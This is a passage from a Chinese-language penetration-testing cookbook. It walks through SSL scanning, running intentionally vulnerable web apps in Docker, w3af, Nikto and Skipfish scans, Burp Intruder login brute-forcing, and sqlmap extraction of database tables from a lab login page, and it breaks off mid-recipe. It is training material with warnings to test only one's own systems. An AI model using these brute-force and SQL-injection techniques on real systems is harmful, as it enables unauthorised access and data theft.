Accepted  TLSv1.2  256 bits  AES256-SHA256
Accepted  TLSv1.2  256 bits  AES256-SHA
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA
Accepted  TLSv1.2  128 bits  AES128-SHA256
Accepted  TLSv1.2  128 bits  AES128-SHA
Accepted  TLSv1.2  128 bits  RC4-SHA
Accepted  TLSv1.2  128 bits  RC4-MD5
Accepted  TLSv1.2  112 bits  DES-CBC3-SHA
 Preferred Server Cipher(s):
SSLv3    128 bits  RC4-SHA
TLSv1.0  128 bits  AES128-SHA
TLSv1.1  128 bits  AES128-SHA
TLSv1.2  128 bits  AES128-SHA256
 SSL Certificate:
Signature Algorithm: sha1WithRSA
RSA Key Strength:    2048
Subject:  demo.testfire.net
Issuer:   demo.testfire.net
root@Intrusion-Exploitation:~# D

  1. 我们的下一个工具是 SSLyze,由 iSEC Partners 开发。

  2. 打开终端并调用 SSLyze 帮助,如下面的屏幕截图所示:如何操作...

  3. 要测试一个域的支持密码的全面列表,请在终端中输入以下命令:

sslyze -regular demo.testfire.net

  1. 如果服务器在端口443上运行 SSL,输出应该像这样:操作步骤...

  2. 这个教程中的最后一个工具是 TLSSLed。打开终端并调用该工具,如下面的屏幕截图所示:操作步骤...

  3. 现在使用以下命令启动 TLSSLed:

root@Intrusion-Exploitation:~# tlssled demo.testfire.net 443

  1. TLSSEled 还显示了所有的 cookie,其中是否设置了安全和 HttpOnly 标志,这在以后利用 XSS 攻击应用程序时可能是有用的信息。

工作原理...

在这个教程中,我们使用了三种工具来扫描目标域上的 SSL 证书,以查找弱密码和 SSL 漏洞,比如 Heartbleed。这些工具中的每一个都有它们独特的信息表示方式。SSLScan 试图检查目标是否容易受到 Heartbleed 的攻击,同时还会扫描弱密码。SSLyze 专注于速度,并且还支持 SMTP、XMPP、LDAP、POP、IMAP、RDP 和 FTP 协议上的 StartTLS 握手。TLSSLed 是一个使用 SSLScan 创建的工具,但它提供了更多信息。

SSLyze 是一个 Python 工具,可以通过连接到服务器来分析服务器的 SSL 配置。它旨在快速全面,应该有助于组织和测试人员识别影响其 SSL 服务器的错误配置。SSLyze 由 iSEC Partners 开发。

TLSSLed 是一个 Linux shell 脚本,其目的是评估目标 SSL/TLS(HTTPS)Web 服务器实现的安全性。它基于 SSLScan,这是一个基于 OpenSSL 库和openssl s_client命令行工具的彻底的 SSL/TLS 扫描程序。当前的测试包括检查目标是否支持 SSLv2 协议,空密码,以及基于密钥长度(40 或 56 位)的弱密码,强密码的可用性(如 AES),数字证书是否是 MD5 签名的,以及当前的 SSL/TLS 重新协商能力。

偶尔,您还应该彻底查看证书错误。您还可以根据证书错误发现属于同一组织的相关域和子域,因为有时组织会为不同的域购买 SSL 证书,但会重用它们,这也会导致无效的证书名称错误。

第六章. Web 应用程序漏洞评估

在本章中,我们将涵盖以下内容:

  • 在 Docker 中运行易受攻击的 Web 应用程序

  • 使用 w3af 进行漏洞评估

  • 使用 Nikto 进行 Web 服务器评估

  • 使用 Skipfish 进行漏洞评估

  • 使用 Burp Proxy 拦截 HTTP 流量

  • 使用 Burp Intruder 进行定制攻击自动化

  • 使用 Burp Sequencer 检查会话随机性

介绍

漏洞评估阶段是在目标机器上查找漏洞的过程。

同时在 Web 应用程序和网络上执行漏洞评估可能更有用,因为您将能够将来自网络基础设施和其他协议(如 SSH、telnet、数据库、SNMP、SMB 和 FTP)的不同漏洞和信息相关起来。这将让您更好地了解特定 Web 应用程序的目的及其在组织内的用途。

然而,为了让观众更容易理解,我们将专门介绍在 Web 应用程序上执行漏洞评估所需的工具和技术。本章的配方结构旨在使您能够在一个地方找到扫描和定位 Web 应用程序中所需的所有工具和技术。

漏洞评估阶段就像一个准备阶段,在这个阶段我们将找到漏洞。为了确保我们找到应用程序中所有可能的漏洞,必须进行全面的测试。然而,有时使用自动化扫描工具会产生误报。为了成功进行渗透测试,非常重要的是我们使用手动漏洞评估方法去除所有误报。

注意

不要对不是您自己的公共网站或不在您自己服务器上的网站运行本章演示的工具。在这种情况下,我们在云上设置了三个易受攻击的 Web 应用程序,以演示本章中的工具/技术。小心!

这些 Web 应用程序是 OWASP 砖块、Damn Vulnerable Web Application (DVWA)和 WordPress Version 2.2 (易受攻击!)。

这些应用程序是有意设计成易受攻击的,因此我们不建议您直接在服务器上甚至在本地桌面/笔记本电脑上安装这些 Web 应用程序。为了演示目的,我们已经在一个 Docker 容器中安装了这三个易受攻击的 Web 应用程序,并将其托管在 Docker hub 上供您拉取和使用。查看下一个配方。

在 Docker 中运行易受攻击的 Web 应用程序

在上一个配方中,我们下载了 Docker 并运行了一个 hello-world 示例容器。在这个配方中,我们将下载一个我们为您准备好的 Docker 容器,供您下载和使用。这是一个已经配置好并准备好使用的容器,其中包含三个易受攻击的 Web 应用程序:

  • OWASP 砖块

  • Damn Vulnerable Web Applications

  • WordPress 2.2 (易受攻击!)

准备工作

要完成此配方,您需要在 Oracle Virtualbox 或 VMware 上运行 Kali Linux 并连接到互联网。这个配方与前一个配方密切相关;强烈建议您在继续本配方之前先遵循前一个配方。如果您的 Kali 上已经安装了 Docker,您可以直接开始本配方。

操作步骤...

对于这个配方,您需要执行以下步骤:

  1. 打开终端并拉取 Docker 容器镜像,如下命令所示:
$ docker pull intrusionexploitation/dvwa-wordpress2.2-bricks

  1. 您将看到不同的层被下载,如下截图所示:操作步骤...

  2. 成功下载容器镜像后,您将看到类似于以下截图的屏幕:操作步骤...

  3. 现在,使用以下命令运行已下载的 Docker 容器镜像:

docker run --name intrusionexploitation       intrusionexploitation/dvwa-wordpress2.2-bricks

  1. 运行上述命令后,您将看到以下输出:操作步骤...

  2. 如果您看到相同的输出,这意味着您的 Docker 容器正在运行。保持此终端运行,不要关闭它,也不要按Ctrl + C。按Ctrl + C将停止运行的容器;现在,保持它运行并最小化终端,以免意外关闭它。

  3. 要查看安装在此容器上的易受攻击的 Web 应用程序,您首先需要找出正在运行的容器的当前 IP 地址。

  4. 要找出正在运行的容器的当前 IP 地址,您首先需要在新的终端窗口中使用以下命令列出正在运行的容器:

docker ps -a

此命令的输出将如下面的屏幕截图所示:

操作步骤...

  1. 然后,复制容器 ID 并输入以下命令(请记住,您的容器 ID 将与此输出中显示的不同),使用输出中显示的容器 ID:
docker inspect 01bf653a92f4

  1. 输出将如下面的屏幕截图所示:操作步骤...

  2. 这将是一个非常长的输出;为了快速找到 IP 地址,您也可以使用以下命令:

docker inspect 01bf653a92f4 | grep IPAddress

  1. 输出如下面的屏幕截图所示:操作步骤...

  2. 如图所示,172.17.0.2(请注意,您的 IP 地址可能与此处显示的不同。)是容器正在运行的 IP 地址;要查看安装在此容器上的易受攻击的 Web 应用程序,请复制此 IP 地址并在浏览器中打开,如下面的屏幕截图所示:操作步骤...

  3. 如前面的屏幕截图所示,您将看到 Apache 服务器正在运行,并且您可以看到每个不同 Web 应用程序的三个不同文件夹。

  4. 从下一个教程开始,我们将使用这些应用程序进行 Web 应用程序漏洞评估。

工作原理...

在本教程中,我们从 Docker hub 中拉取了一个预配置的 Docker 镜像,然后运行了下载的镜像,列出了正在运行的容器,并尝试使用容器 ID 找出正在运行的容器的 IP 地址,以便在浏览器上查看安装的易受攻击的 Web 应用程序。

使用 W3af 进行漏洞评估

在本教程中,我们将学习如何使用 W3af 在目标 Web 应用程序中查找漏洞。W3af 是一个 Web 应用程序攻击和审计框架。该项目的目标是创建一个框架,通过查找和利用所有 Web 应用程序漏洞来帮助您保护您的 Web 应用程序。

准备就绪

要完成本教程,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于此教程,您需要执行以下步骤:

  1. 打开终端并输入w3af_gui;w3af 窗口将如下面的屏幕截图所示:操作步骤...

  2. 在左侧面板的配置选择器中选择OWASP_TOP10选项。输入目标 URL,如下面的屏幕截图所示:操作步骤...

  3. 展开auth菜单,单击详细插件,并输入用户名和密码(仅适用于 HTTP 表单凭据)和所有其他必需的参数,然后单击保存,如下面的屏幕截图所示:操作步骤...

  4. 选择output并展开它并选择所有输出格式;在我们的情况下,出于演示目的,我们将检查所有内容,如下面的屏幕截图所示:操作步骤...

  5. 之后,单击开始按钮旁边的按钮;单击后,将打开以下窗口,并询问您是否知道target_ostarget_framework,然后保存详细信息,如下面的屏幕截图所示:操作步骤...

  6. 完成所有这些步骤后,只需单击开始按钮,扫描将开始,如下面的屏幕截图所示:操作步骤...

  7. 一旦扫描开始,您可以遍历选项卡并单击结果,随着漏洞的发现,漏洞将会出现,如下面的屏幕截图所示:操作步骤...

  8. 接下来,单击URL子选项卡,在那里您可以看到以漂亮站点地图形式发现和绘制的所有 URL,如下面的屏幕截图所示:操作步骤...

  9. 在扫描运行时,您仍然可以在日志窗口中看到最新的插件运行和发现的漏洞,如下面的屏幕截图所示:操作步骤...

扫描完成后,结果将保存在运行 w3af 的目录中。在我们的情况下,我们从默认路径/root/调用,如下面的屏幕截图所示:

操作步骤...

工作原理...

在这个示例中,我们使用了w3af_gui并配置了各种插件,在 Docker 容器中托管的易受攻击的 Web 应用程序上进行了经过身份验证的扫描,IP 为http://172.17.0.2/dvwa/login.php,并演示了 w3af 在执行真实漏洞评估时的工作。W3af 的能力不仅限于漏洞评估。它还可以利用类似 sqlmap、RFI 和 Metasploit 的工具,并且也可以用于执行利用。

使用 Nikto 进行 Web 服务器评估

在这个示例中,我们将学习 Nikto 及其 Web 服务器扫描功能。Nikto 是一个开源(GPL)的 Web 服务器扫描程序,可以针对多个项目对 Web 服务器执行全面测试,包括超过 6700 个潜在危险的文件/程序,检查超过 1250 个服务器的过时版本,并检查超过 270 个服务器的特定版本问题。

准备工作

要完成这个示例,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于这个示例,您需要执行以下步骤:

  1. 打开终端并输入Nikto,Nikto 将显示其可用于使用的帮助和开关(您还可以使用主要的 Nikto 来获取每个开关的详细描述),如下面的屏幕截图所示:操作步骤...

  2. 要开始扫描,请输入以下命令:

nikto -host http://172.17.0.2/wordpress/ -nossl -o wordpress-      nikto-scan.xml

  1. 让 Nikto 完成它的工作,并等待它完成;完成后,控制台将显示以下输出:操作步骤...

工作原理...

在这个示例中,我们让 Nikto 对托管在 Docker 容器中的 Web 服务器和 Web 应用程序进行扫描,URL 为http://172.17.0.2/wordpress/-host开关用于指定 URL。

有时,就像其他工具一样,Nikto 也会显示一些需要通过访问工具和 URL 检测到的链接手动验证的误报。但请放心;运行 Nikto 是值得的,因为它总是会通过找到一些独特和新的东西来给您惊喜。

使用 Skipfish 进行漏洞评估

在这个示例中,我们将学习如何使用 Skipfish。Skipfish 完全用 C 编写。它经过高度优化以处理 HTTP 请求。Skipfish 可以处理每秒 2000 个请求,如tools.kali.org/web-applications/skipfish所述。

准备工作

要完成这个示例,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于这个示例,您需要执行以下步骤:

  1. 打开终端。要启动Skipfish,您必须提到输出目录名称。如果输出目录不存在,它将自动创建目录并保存结果。要启动 Skipfish,请在终端中输入以下命令:
skipfish -o /root/dvwa-skipfish-results http://172.17.0.2      /dvwa/login.php

  1. 在 Skipfish 开始扫描之前,它会显示屏幕上的提示列表,这有助于您了解 Skipfish 将如何针对此特定扫描进行操作:操作步骤...

  2. 一旦 Skipfish 开始,它将开始显示扫描详细信息,发送的请求数量以及屏幕上的其他详细信息,如下面的屏幕截图所示:操作步骤...

  3. 扫描完成后,编译所有内容并在该文件夹中创建 HTML 报告。这将在屏幕上显示以下输出:操作步骤...

  4. 转到指定的输出目录,并在浏览器中打开 HTML,如下面的屏幕截图所示:操作步骤...

工作原理...

由于 Skipfish 是用 C 语言编写的,它是处理 HTTP 流量方面最有效的工具之一。Skipfish 能够使用--auth-form--auth-user-auth-password开关来运行经过身份验证的扫描。

默认情况下,Skipfish 将所有 URL 视为范围;如果有任何页面或 URL 不在您的测试范围内,您将明确使用-X开关来告诉 Skipfish 不需要扫描它。

在进行经过身份验证的扫描时,您可以使用-X开关指定注销链接,以确保 Skipfish 不会意外地爬取它,并最终扫描带有已注销会话的主机。

使用 Burp 代理拦截 HTTP 流量

在本教程中,我们将使用 Burp 代理拦截我们的浏览器流量,并在路上操纵参数。

准备工作

要完成本教程,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于此教程,您需要执行以下步骤:

  1. 要启动 Burp,请转到菜单 | Kali Linux | 应用程序 | burpsuite并单击启动 burpsuite,如下面的屏幕截图所示:操作步骤...

  2. 同时打开 Firefox,并导航到编辑菜单 | 首选项 | 高级选项卡 | 网络 | 设置,将代理设置为127.0.0.1,端口设置为8080,如下面的屏幕截图所示:操作步骤...

  3. 单击确定,然后转到Burp | 代理,如下面的屏幕截图所示:操作步骤...

  4. 现在,回到 Firefox 窗口,打开http://172.17.0.2/dvwa/login.php并按下Enter;当你按下Enter时,请求将被 Burp 拦截,如下面的屏幕截图所示:操作步骤...

  5. 单击转发,放弃任何被拦截的请求,并让登录页面加载。在字段中输入用户名和密码,然后单击提交,如下面的屏幕截图所示:操作步骤...

  6. 打开Burp窗口。如您所见,提交请求在这里被拦截,并且可以以原始形式或参数形式进行操纵:操作步骤...

工作原理...

在本教程中,我们只需将 Web 浏览器配置为在连接到互联网之前在我们自己的本地机器上的端口8080上运行的代理。当我们在浏览器中打开任何 URL 时,它会将所有流量重定向到在端口8080上运行的 Burp,您可以在流离开系统之前操纵任何请求。

代理应用程序通常用于在浏览器中绕过 Web 应用程序的客户端限制。

使用 Burp Intruder 进行定制的攻击自动化

在这个教程中,我们将学习如何使用 Burp Intruder 执行应用程序登录暴力破解和目录暴力破解。Intruder 可以在需要进行暴力破解的任何场景中使用,并且可以根据您的要求进行定制。

准备工作

要完成本教程,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于这个教程,您需要执行以下步骤:

  1. 在浏览器中打开Damn Vulnerable Web Application页面,并转到Brute Force部分,如下截图所示:操作步骤...

  2. 拦截 Burp 的请求,如下截图所示:操作步骤...

  3. 如前所示,将此请求发送给 Burp 内的入侵者,选择Intruder选项卡,然后选择Positions子选项卡,如下截图所示:操作步骤...

  4. 要使用入侵者暴力破解常见的用户名和密码,我们需要仅选择用户名和密码;其余的突出显示的参数可以通过选择它们并单击Clear $按钮来清除,这将确保暴力破解只会发生在选定的参数上,而不是默认情况下选择的所有参数上。操作步骤...

Burp Intruder 有四种攻击类型,分别是 sniper、battering ram、pitchfork 和 cluster bomb。它默认设置为 sniper。将其更改为 battering ram。

  1. 现在,当我们选择了暴力破解的参数时,我们需要设置有效负载;为此,我们将遍历有效负载选项卡,并从下拉菜单中设置有效负载集合为1。为了演示其工作原理,我们将输入一个小的用户名列表,如下截图所示:操作步骤...

  2. 现在选择有效负载集合为2,并设置第二个参数的有效负载,如下截图所示:操作步骤...

  3. 现在转到选项选项卡;这很重要,因为我们需要某种证据证明暴力破解程序已经能够检测到有效的尝试,因此,为此,我们需要在凭证错误的情况下看到错误消息,并在凭证正确的情况下看到消息。打开浏览器,输入错误的密码,如下截图所示:操作步骤...

  4. 在凭证不正确的情况下,它会显示以下消息:

        Username and/or password incorrect.

操作步骤...

  1. 转到选项 | Grep Match Section,删除所有字符串模式,并添加Welcome to the password protected area admin模式,这将表明凭证是有效的,如下截图所示:操作步骤...

  2. 最后,在左上角的Intruder选项卡上单击Start attack,如下截图所示:操作步骤...

  3. 一旦启动,入侵者将尝试从这两个有效负载列表中尝试所有可能的组合,并且当响应中有任何与之匹配时,grep 匹配将显示出来,如下截图所示:操作步骤...

工作原理...

在这个教程中,我们使用了 Burp Intruder,并对其进行了高度定制,以进行特定的暴力攻击。入侵者的能力不仅限于此。您也可以在发现 SQL 注入时使用它。

使用 Burp Sequencer 测试会话的随机性

在这个教程中,我们将学习如何使用 Burp Sequencer 工具来检查 Web 应用程序中会话令牌的随机性。

准备就绪

要按照这个教程,您需要在 Oracle Virtualbox 上运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于这个教程,您需要执行以下步骤:

  1. 在浏览器中打开应用程序,并使用 Burp 拦截请求,如下截图所示:操作步骤...

  2. 我们需要分析请求的响应,转发此请求,并捕获服务器的响应,如下截图所示:操作步骤...

  3. 由于服务器设置了Set-Cookie PHPSESSIONID,为了分析这个会话令牌,我们需要将其发送到 Sequencer,如下截图所示:操作步骤...

  4. 现在打开 Burp Sequencer。为了检查随机性,Burp 需要知道请求中的位置 cookie,然后我们将开始实时捕获,如下面的屏幕截图所示:如何做...

  5. 为了执行会话随机性分析,Burp 至少需要 100 个 PHP 会话 ID。至少需要 100 个 PHP 会话 ID 来开始分析:如何做...

  6. 正如我们所看到的,总体结果部分显示了在 462 个请求样本中PHPSESSID的随机性信息。您可以将PHPSESSID的值保存到一个文件中,如下面的屏幕截图所示:如何做...

它是如何工作的...

如果会话令牌容易猜测并且不够随机,攻击者可以轻松模拟用户在应用程序上的会话。在这个示例中,我们使用 Burp Sequencer 工具从 Burp 代理导入会话 ID 并对其进行分析。这个 Sequencer 也可以用于其他情况,比如处理 CSRF 等令牌。Sequencer 也可以用类似的方式来检查 CSRF 令牌的随机性。

第七章:Web 应用程序利用

在本章中,我们将涵盖以下示例:

  • 使用 Burp 进行主动/被动扫描

  • 使用 sqlmap 在登录页面上查找 SQL 注入

  • 使用 sqlmap 在 URL 参数上查找 SQL 注入

  • 使用 commix 进行自动 OS 命令注入

  • 使用 weevely 进行文件上传漏洞

  • 利用 Shellshock 使用 Burp

  • 使用 Metasploit 利用 Heartbleed

  • 使用 FIMAP 工具进行文件包含攻击(RFI/LFI)

介绍

Web 应用程序渗透测试是我们利用在漏洞评估期间发现的漏洞的阶段。

渗透测试的成功取决于迄今为止发现了多少信息和漏洞。我们发现的所有漏洞可能并不一定都能被利用。

Web 应用程序的利用并不取决于您使用的工具。这是一个在 Web 应用程序中发现安全问题的练习。Web 应用程序只是在 Web 上而不是在您的操作系统本地运行的软件。它旨在执行特定任务并为特定用户提供服务。利用 Web 应用程序的最佳方法是了解应用程序的内容以及它所完成的任务,并更多地关注应用程序的逻辑工作流程。Web 应用程序可以是不同类型和架构的;例如,使用 PHP/Java/.NET 和 MySQL/MSSQL/Postgress 的动态 Web 页面,或者使用 Web API 的单页面应用程序。当您了解 Web 应用程序的架构、底层技术和目的时,测试 Web 应用程序将更加全面。

然而,在本章中,我们有几个可用于 Kali Linux 的工具,可用于利用在 Web 应用程序中发现的漏洞。

注意

不要对不是您自己的公共网站和不在您自己的服务器上的网站运行本章中演示的工具。在这种情况下,我们设置了三个运行在 Docker 中的易受攻击的 Web 应用程序,以演示本章中的工具/技术。小心!

使用 Burp 进行主动/被动扫描

在本示例中,我们将使用 Burp Suite Pro 中的 Burp 扫描器,这是一款付费软件。它的价格约为每年 350 美元。它加载了许多功能,其中一些在免费版本中不可用或受限制。

Burp 套件的价格并不像其他网络应用程序扫描器那样昂贵,并且提供了许多功能,在网络应用程序渗透测试中非常有帮助。不涵盖这些内容将是不合适的,因为它是渗透测试人员在网络应用程序渗透测试中广泛使用的工具。话虽如此,让我们快速进入吧。

准备工作

要完成此示例,您需要在 Oracle Virtualbox 或 VMware 中运行 Kali Linux,并拥有 Burp Suite Pro 许可证。

如何做...

对于此示例,您需要执行以下步骤:

  1. 打开 Firefox 并导航到首选项 | 高级 | 网络 | 设置 | 手动代理配置,将主机设置为127.0.0.1,主机端口设置为8080,并勾选用于所有协议,如下图所示:如何做...

  2. 打开终端并从 Docker hub 拉取 Docker 容器,如果您还没有拉取 Docker 镜像,请使用以下命令:

docker pull ishangirdhar/dvwabricks

您应该看到以下输出:

        docker pull ishangirdhar/dvwabricks
        Using default tag: latest
        latest: Pulling from ishangirdhar/dvwabricks
8387d9ff0016: Pull complete 
3b52deaaf0ed: Pull complete 
4bd501fad6de: Pull complete 
a3ed95caeb02: Pull complete 
790f0e8363b9: Pull complete 
11f87572ad81: Pull complete 
341e06373981: Pull complete 
709079cecfb8: Pull complete 
55bf9bbb788a: Pull complete 
b41f3cfd3d47: Pull complete 
70789ae370c5: Pull complete 
43f2fd9a6779: Pull complete 
6a0b3a1558bd: Pull complete 
934438c9af31: Pull complete 
1cfba20318ab: Pull complete 
de7f3e54c21c: Pull complete 
596da16c3b16: Pull complete 
e94007c4319f: Pull complete 
3c013e645156: Pull complete 
235b6bb50743: Pull complete 
85b524a6ea7a: Pull complete 
        Digest: sha256:        ffe0a1f90c2653ca8de89d074ff39ed634dc8010d4a96a0bba14200cdf574e3
        Status: Downloaded newer image for         ishangirdhar/dvwabricks:latest

  1. 使用以下命令运行下载的 Docker 镜像:
docker run ishangirdhar/dvwabricks

您应该看到以下输出:

        docker run ishangirdhar/dvwabricks
        => An empty or uninitialized MySQL volume is detected in         /var/lib/mysql
        => Installing MySQL ...
        => Done!
        => Waiting for confirmation of MySQL service startup
        => Creating MySQL admin user with random password
        => Done!        ====================================================================
        You can now connect to this MySQL Server using:
        mysql -uadmin -pzYKhWYtlY0xF -h<host> -P<port>
        ======= snip===========
        supervisord started with pid 1
        2016-07-30 20:12:35,792 INFO spawned: 'mysqld' with pid 437
        2016-07-30 20:12:35,794 INFO spawned: 'apache2' with pid 438

  1. 现在,要启动 Burp,请转到代理选项卡,单击打开拦截以关闭它,然后转到HTTP 历史记录选项卡,如下所示:如何做...如何做...

  2. 现在,一切都设置好了,我们只需要找出运行易受攻击的 Web 应用程序的容器的 IP 地址。运行以下命令:

docker ps

  1. 你应该会看到以下输出:如何操作...

  2. 复制容器 ID 并运行以下命令:

      docker inspect dda0a7880576 | grep -i ipaddress

  1. 你应该会看到以下输出:
      "SecondaryIPAddresses": null,
          "IPAddress": "172.17.0.2",
            "IPAddress": "172.17.0.2",

  1. 切换到 Firefox 窗口,在地址栏中输入前面的 IP 地址,你应该会看到下面截图中显示的内容:如何操作...

  2. 点击dvwa,然后点击创建/重置数据库,如下面的截图所示:如何操作...

  3. 你将被重定向到登录页面;输入用户名admin和密码password,这是dvwa的默认用户名和密码。登录后,你应该会看到以下截图:如何操作...

  4. 遍历整个应用程序,使用不同的模块,点击所有可能的练习并尝试一次。

  5. 切换到 Burp 窗口,你会看到 Burp 在HTTP 历史选项卡中捕获了所有请求,如下所示:如何操作...

  6. 现在,转到目标选项卡,找到你的 IP 地址,右键点击它,然后点击添加到范围,如下面的截图所示:如何操作...

  7. 然后,右键点击相同的 IP,这次点击Spider this host,如下面的截图所示:如何操作...

  8. 适当地回答可能出现的弹出屏幕,并注意在目标选项卡中发现和列出的其他应用程序路径,如下面的截图所示:如何操作...

  9. 现在,右键点击相同的 IP,这次点击主动扫描此主机,如下面的截图所示:如何操作...

  10. 在扫描开始之前,你有几个选项可以选择和自定义;检查最后一项,即删除具有以下扩展名的项目[20 个项目],如下面的截图所示:如何操作...

  11. 转到扫描器页面;它会显示各种 URL 上运行测试的进度,如下面的截图所示:如何操作...

  12. 现在,等待扫描完成,再次打开目标选项卡,你会看到检测到的不同漏洞,如下面的截图所示:如何操作...

它是如何工作的...

我们已经配置了浏览器在127.0.0.18080端口上使用 Burp 代理,然后使用docker pull <image-name>命令从 Docker hub 下载了易受攻击的 Web 应用程序。然后我们使用docker run <image-name>命令在 Docker 容器中启动了 Docker 镜像,并使用docker inspect <container-id>提取了运行容器的 IP 地址。

然后我们在浏览器中导航到相同的 IP 地址并遍历应用程序,然后我们看到 Burp 如何捕获我们通过浏览器发出的每个请求。我们在范围中添加了相同的域名,然后遍历整个应用程序以找出应用程序中所有可能的 URL。最后,我们在主机上开始了主动扫描,发现了关键的漏洞,如 SQL 注入、跨站脚本和命令注入。在接下来的几个步骤中,我们将学习如何利用这次扫描获得的知识以及如何使用特定工具来利用它们。

使用 sqlmap 在登录页面上查找 SQL 注入

SQL 注入在 OWASP Web 应用程序前 10 大漏洞的每一次迭代中都是前三名。它们对 Web 应用程序和企业都是最具破坏性的。发现 SQL 注入是困难的,但如果你碰巧发现了一个,手动利用它直到在服务器上获得访问权限更加困难和耗时。因此,使用自动化方法非常重要,因为在渗透测试活动中,时间总是不够用的,你总是希望尽早确认 SQL 注入的存在。

Sqlmap 是一个开源的渗透测试工具,它自动化了检测和利用 SQL 注入漏洞以及接管数据库服务器的过程,使用 Python 编写,并由开发人员定期维护。SQLMap 已经成为一个强大的工具,在各种参数中识别和检测 SQL 注入非常可靠。

在这个步骤中,我们将学习如何使用 sqlmap 在目标 Web 应用程序的登录页面上查找 SQL 注入漏洞。

准备工作

要按照这个步骤,你需要以下内容:

  • 一个互联网连接

  • Kali Linux 在 Oracle Virtualbox 中运行

  • 安装 Docker 的 Kali Linux

  • 下载入侵-利用 Docker 镜像

如何操作...

对于这个步骤,你需要执行以下步骤:

  1. 打开终端,输入sqlmap,sqlmap 将显示其正确的用法语法,如下面的屏幕截图所示:操作步骤...

  2. 我们将使用http://172.17.0.2/bricks/login-1/index.php作为我们的目标。这是一个 OWASP bricks 安装:操作步骤...

  3. 转到Firefox 首选项 | 高级 | 网络 | 设置,如下面的屏幕截图所示:操作步骤...

  4. 选择手动代理配置,输入HTTP 代理127.0.0.1代理8080,并勾选为所有协议使用此代理,如下面的屏幕截图所示:操作步骤...

  5. 点击确定,回到Bricks 登录页面;如果你还没有启动 Burp Suite,就开始启动它。你可以导航到应用程序 | Web 应用程序分析 | Burpsuite,如下面的屏幕截图所示:操作步骤...

  6. Burp 的窗口将打开,你可以选择一个临时项目,然后点击开始 Burp;你的 Burp 窗口将看起来像下面的屏幕截图所示:操作步骤...

  7. 现在打开 bricks 登录页面,输入任何字符串的用户名和密码,然后点击提交。不管你在用户名和密码字段中输入什么,因为我们将在 Burp 中拦截请求;一旦你点击登录页面上的提交按钮,你将看到 Burp 窗口,如下所示:操作步骤...

  8. 在 Burp 窗口的任何位置右键单击,然后点击复制到文件菜单,如下面的屏幕截图所示:操作步骤...

  9. 在终端上运行以下命令:

sqlmap -r "./Desktop/bricks-login-request.txt" --is-dba --tables       -users

  1. sqlmap命令将运行其启发式检查,并显示识别的数据库为 MySQL,并询问您是否要跳过寻找其他可能的数据库;输入Y并按Enter,因为它通常是准确的,最好在服务器上生成尽可能少的请求。看一下下面的屏幕截图:操作步骤...

  2. 一旦你按下Enter,它会问你是否要保留级别和风险的值。这意味着在寻找 SQL 注入时,它尽可能少地执行请求,并且应该是尽可能少风险的 SQL 语句。最好从值1开始,如果不起作用,再增加级别和风险到 5;现在,我们将输入Y并按Enter,如下面的屏幕截图所示:操作步骤...

  3. 之后,sqlmap 会提示您无法使用 NULL 值进行注入,并询问您是否希望为- -union-char选项使用随机整数值。这个陈述很清楚,输入Y并按Enter,如下面的屏幕截图所示:操作步骤...

  4. sqlmap 已经确定用户名是可注入和易受攻击的;现在 sqlmap 正在询问您是否想要继续寻找其他易受攻击的参数,还是您想要开始利用已发现易受攻击的参数。通常最好查找所有易受攻击的参数,这样您就可以向开发人员报告所有需要进行输入验证的参数;现在,我们将输入Y并按Enter,如下面的屏幕截图所示:操作步骤...

  5. 直到所有参数都被测试过才会不断提示;一旦完成,sqlmap 会提示您选择应该利用哪些参数,如下面的屏幕截图所示:操作步骤...

  6. 您可以选择任何您喜欢的参数;作为演示,我们将选择用户名参数并输入**0**,然后按Enter,立即 sqlmap 将开始检索您在开关中提到的信息,如下面的屏幕截图所示:操作步骤...

正如您所看到的,sqlmap 可以将数据库表名转储出来,如下面的屏幕截图所示:

操作步骤...

工作原理...

在这个示例中,我们学习了如何使用 sqlmap 来检查登录页面上的参数是否容易受到 SQL 注入的攻击。在这个命令中,我们使用了以下开关:

  • --url:此开关提供了 sqlmap 的目标 URL。这是运行 sqlmap 所必需的开关。

  • --data:这是一个特定的开关,您需要使用它来发送 POST 数据。在我们的示例中,我们发送wp-usernamewp-passwp-submit及其相应的值作为 POST 数据。

  • -r:此开关可以代替--url开关。-r开关加载带有 POST 数据的请求文件。/path/to/file。您可以通过在 Burp 上右键单击代理并将其保存到文件选项来捕获登录页面的 POST 请求以创建请求文件。

  • --dbs:如果发现任何参数是易受攻击和可注入的,此开关将获取所有数据库名称。

  • --tables:如果发现任何参数是易受攻击和可注入的,此开关将获取数据库中的所有表名。

  • --is-dba:此开关检查应用程序使用的数据库用户是否具有 DBA 特权。

  • QLMAP:用于查找 URL 参数中的 SQL 注入

利用 SQL 注入攻击 URL 参数

SQL 注入可能存在于应用程序的任何地方,例如登录页面、GETPOST参数、身份验证后,有时甚至存在于 cookies 本身。使用 sqlmap 与我们在上一个示例中使用它并没有太大的不同,但这个示例的目的是帮助您了解 sqlmap 也可以用于利用需要认证后才能访问的页面上的 SQL 注入。

在这个示例中,我们将看看如何使用 sqlmap 来利用已认证页面上的 SQL 注入。使用-r开关允许 sqlmap 在检查 URL 时使用请求中的 cookies,无论它们是否可访问。由于 sqlmap 可以处理保存的请求中的 cookies,它可以成功地识别和利用 SQL 注入。

准备工作

要完成本示例,您需要在 Oracle Virtualbox 中运行 Kali Linux 并连接到互联网。不需要其他先决条件。

操作步骤...

对于本示例,您需要执行以下步骤:

  1. 我们将使用Damn Vulnerable Web ApplicationDVWA)托管在http://172.17.0.2。使用默认的 DVWA 凭据登录,然后单击左侧菜单中的SQL 注入。在输入框中输入1作为用户 ID,它将显示您的用户详细信息,并在顶部显示错误消息,如下面的屏幕截图所示:如何操作...

  2. 上述错误消息清楚地指向潜在的 SQL 注入,我们将使用 sqlmap 来利用这个 SQL 注入,使用以下命令:

